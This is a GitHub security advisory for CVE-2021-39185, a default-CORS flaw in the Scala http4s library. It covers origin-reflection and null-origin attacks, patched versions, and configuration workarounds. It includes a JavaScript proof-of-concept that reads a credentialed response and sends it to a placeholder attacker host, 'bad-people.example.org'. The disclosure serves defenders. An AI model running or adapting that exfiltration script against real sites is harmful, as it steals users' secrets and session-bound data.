ghsa-52cf-226f-rhr6
Vulnerability from github
Impact
Origin reflection attack
The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app app
, using the default CORS config, running at https://vulnerable.example.com:
scala
val routes: HttpRoutes[F] = HttpRoutes.of {
case req if req.pathInfo === "/secret" =>
Response(Ok).withEntity(password).pure[F]
}
val app = CORS(routes.orNotFound)
The following request is made to our server:
http
GET /secret HTTP/1.1
Host: vulnerable.example.com
Origin: https://adversary.example.net
Cookie: sessionId=...
When the anyOrigin
flag of CORSConfig
is true
, as is the case in the default argument to CORS
, the middleware will allow sharing its resource regardless of the allowedOrigins
setting. Paired with the default allowCredentials
, the server approves sharing responses that may have required credentials for sensitive information with any origin:
```http HTTP/1.1 200 OK Access-Control-Allow-Origin: https://adversary.example.org Access-Control-Allow-Credentials: true Content-Type: text/plain
p4ssw0rd ```
A malicious script running on https://adversary.example.org/
can then exfiltrate sensitive information with the user's credentials to vulnerable.exmaple.org
:
```javascript var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable.example.org/secret',true); req.withCredentials = true; req.send();
function reqListener() { location='//bad-people.example.org/log?key='+this.responseText; }; ```
Null origin attack
The middleware is also susceptible to a Null Origin Attack. A user agent may send Origin: null
when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond with Access-Control-Allow-Origin: null
, permitting a similar exfiltration of secrets to the above.
Patches
The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original CORS
implementation and CORSConfig
are deprecated. In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:
Migration
The CORS
object exposes a default CORSPolicy
via CORS.policy
. This can be configured with various with*
methods, like any http4s builder. Finally, the CORSPolicy
may be applied to any Http
, like any other http4s middleware:
scala
val routes: HttpRoutes[F] = ???
val cors = CORS.policy
.withAllowOriginAll
.withAllowCredentials(false)
.apply(routes)
Workarounds
It is possible to be safe in unpatched versions, but note the following defects exist:
- The
anyMethod
flag, enabled by default, accepts methods that cannot be enumerated in theAccess-Control-Allow-Methods
preflight response. - Rejected CORS requests receive a
403
response, when the client should be the enforcement point. The server should just omit all CORS response headers. - Does not send
Vary: Access-Control-Request-Headers
on preflight requests. This may confuse caches. - Does not validate the
Access-Control-Request-Headers
of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations. - Needlessly sends
Vary: Access-Control-Request-Method
on non-preflight requests. This should be harmless in practice. - Needlessly sends
Access-Control-Max-Age
header on non-preflight requests. This should be harmless in practice. - Sends an invalid
Access-Control-Allow-Credentials: false
instead of omitting the header. This should be harmless in practice.
Explicit origins
In versions before the patch, set anyOrigin
to false
, and then specifically include trusted origins in allowedOrigins
.
0.21.x
scala
val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(
anyOrigin = false,
allowOrigins = Set("http://trusted.example.com")
)
val cors = CORS(routes, config)
0.22.x, 0.23.x, 1.x
scala
val routes: HttpRoutes[F] = ???
val config = CORSConfig.default
.withAnyOrigin(false)
.withAllowedOrigins(Set("http://trusted.example.com"))
val cors = CORS(routes, config)
Disable credentials
Alternatively, sharing responses tainted by credentials can be deprecated.
0.21.x
scala
val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(allowCredentials = false)
val cors = CORS(routes, config)
0.22.x, 0.23.x, 1.x
scala
val routes: HttpRoutes[F] = ???
val config = CORSConfig.default.withAllowedCredentials(false)
val cors = CORS(routes, config)
References
For more information
If you have any questions or comments about this advisory: * Open an issue in GitHub * Contact us via the http4s security policy
{ "affected": [ { "package": { "ecosystem": "Maven", "name": "org.http4s:http4s-server" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "0.21.27" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "Maven", "name": "org.http4s:http4s-server" }, "ranges": [ { "events": [ { "introduced": "0.22.0" }, { "fixed": "0.22.3" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "Maven", "name": "org.http4s:http4s-server" }, "ranges": [ { "events": [ { "introduced": "0.23.0" }, { "fixed": "0.23.2" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2021-39185" ], "database_specific": { "cwe_ids": [ "CWE-346" ], "github_reviewed": true, "github_reviewed_at": "2021-09-01T19:31:53Z", "nvd_published_at": "2021-09-01T20:15:00Z", "severity": "CRITICAL" }, "details": "### Impact\n\n#### Origin reflection attack\n\nThe default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app `app`, using the default CORS config, running at https://vulnerable.example.com:\n\n```scala\nval routes: HttpRoutes[F] = HttpRoutes.of {\n case req if req.pathInfo === \"/secret\" =\u003e\n Response(Ok).withEntity(password).pure[F]\n}\nval app = CORS(routes.orNotFound)\n```\n\nThe following request is made to our server:\n\n```http\nGET /secret HTTP/1.1\nHost: vulnerable.example.com\nOrigin: https://adversary.example.net\nCookie: sessionId=...\n```\n\nWhen the `anyOrigin` flag of `CORSConfig` is `true`, as is the case in the default argument to `CORS`, the middleware will allow sharing its resource regardless of the `allowedOrigins` setting. Paired with the default `allowCredentials`, the server approves sharing responses that may have required credentials for sensitive information with any origin:\n\n```http\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: https://adversary.example.org\nAccess-Control-Allow-Credentials: true \nContent-Type: text/plain\n\np4ssw0rd\n```\n\nA malicious script running on `https://adversary.example.org/` can then exfiltrate sensitive information with the user\u0027s credentials to `vulnerable.exmaple.org`:\n\n```javascript\nvar req = new XMLHttpRequest(); \nreq.onload = reqListener; \nreq.open(\u0027get\u0027,\u0027https://vulnerable.example.org/secret\u0027,true); \nreq.withCredentials = true;\nreq.send();\n\nfunction reqListener() {\n location=\u0027//bad-people.example.org/log?key=\u0027+this.responseText; \n};\n```\n\n#### Null origin attack\n\nThe middleware is also susceptible to a Null Origin Attack. A user agent may send `Origin: null` when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond with `Access-Control-Allow-Origin: null`, permitting a similar exfiltration of secrets to the above.\n\n### Patches\n\nThe problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:\n\n### Migration\n\nThe `CORS` object exposes a default `CORSPolicy` via `CORS.policy`. This can be configured with various `with*` methods, like any http4s builder. Finally, the `CORSPolicy` may be applied to any `Http`, like any other http4s middleware:\n\n```scala\nval routes: HttpRoutes[F] = ???\nval cors = CORS.policy\n .withAllowOriginAll\n .withAllowCredentials(false)\n .apply(routes)\n```\n\n### Workarounds\n\nIt is possible to be safe in unpatched versions, but note the following defects exist:\n\n* The `anyMethod` flag, enabled by default, accepts methods that cannot be enumerated in the `Access-Control-Allow-Methods` preflight response.\n* Rejected CORS requests receive a `403` response, when the client should be the enforcement point. The server should just omit all CORS response headers.\n* Does not send `Vary: Access-Control-Request-Headers` on preflight requests. This may confuse caches.\n* Does not validate the `Access-Control-Request-Headers` of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations.\n* Needlessly sends `Vary: Access-Control-Request-Method` on non-preflight requests. This should be harmless in practice.\n* Needlessly sends `Access-Control-Max-Age` header on non-preflight requests. This should be harmless in practice.\n* Sends an invalid `Access-Control-Allow-Credentials: false` instead of omitting the header. This should be harmless in practice.\n\n#### Explicit origins\n\nIn versions before the patch, set `anyOrigin` to `false`, and then specifically include trusted origins in `allowedOrigins`.\n\n##### 0.21.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORS.DefaultConfig.copy(\n anyOrigin = false,\n allowOrigins = Set(\"http://trusted.example.com\")\n)\nval cors = CORS(routes, config)\n```\n\n###### 0.22.x, 0.23.x, 1.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORSConfig.default\n .withAnyOrigin(false)\n .withAllowedOrigins(Set(\"http://trusted.example.com\"))\nval cors = CORS(routes, config)\n```\n\n#### Disable credentials\n\nAlternatively, sharing responses tainted by credentials can be deprecated.\n\n##### 0.21.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORS.DefaultConfig.copy(allowCredentials = false)\nval cors = CORS(routes, config)\n```\n\n##### 0.22.x, 0.23.x, 1.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORSConfig.default.withAllowedCredentials(false)\nval cors = CORS(routes, config)\n```\n\n### References\n* The [MDN guide to CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)\n* [PayloadsAllTheThings CORS misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/6cba7ceda93c3f64559c3e73881c21076536e5fb/CORS%20Misconfiguration/README.md)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [GitHub](http://github.com/http4s/http4s)\n* Contact us via the [http4s security policy](https://github.com/http4s/http4s/security/policy)", "id": "GHSA-52cf-226f-rhr6", "modified": "2021-09-02T18:55:34Z", "published": "2021-09-02T16:52:18Z", "references": [ { "type": "WEB", "url": "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39185" }, { "type": "PACKAGE", "url": "https://github.com/http4s/http4s" }, { "type": "WEB", "url": "https://github.com/http4s/http4s/releases/tag/v0.23.2" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "type": "CVSS_V3" } ], "summary": "Default CORS config allows any origin with credentials" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.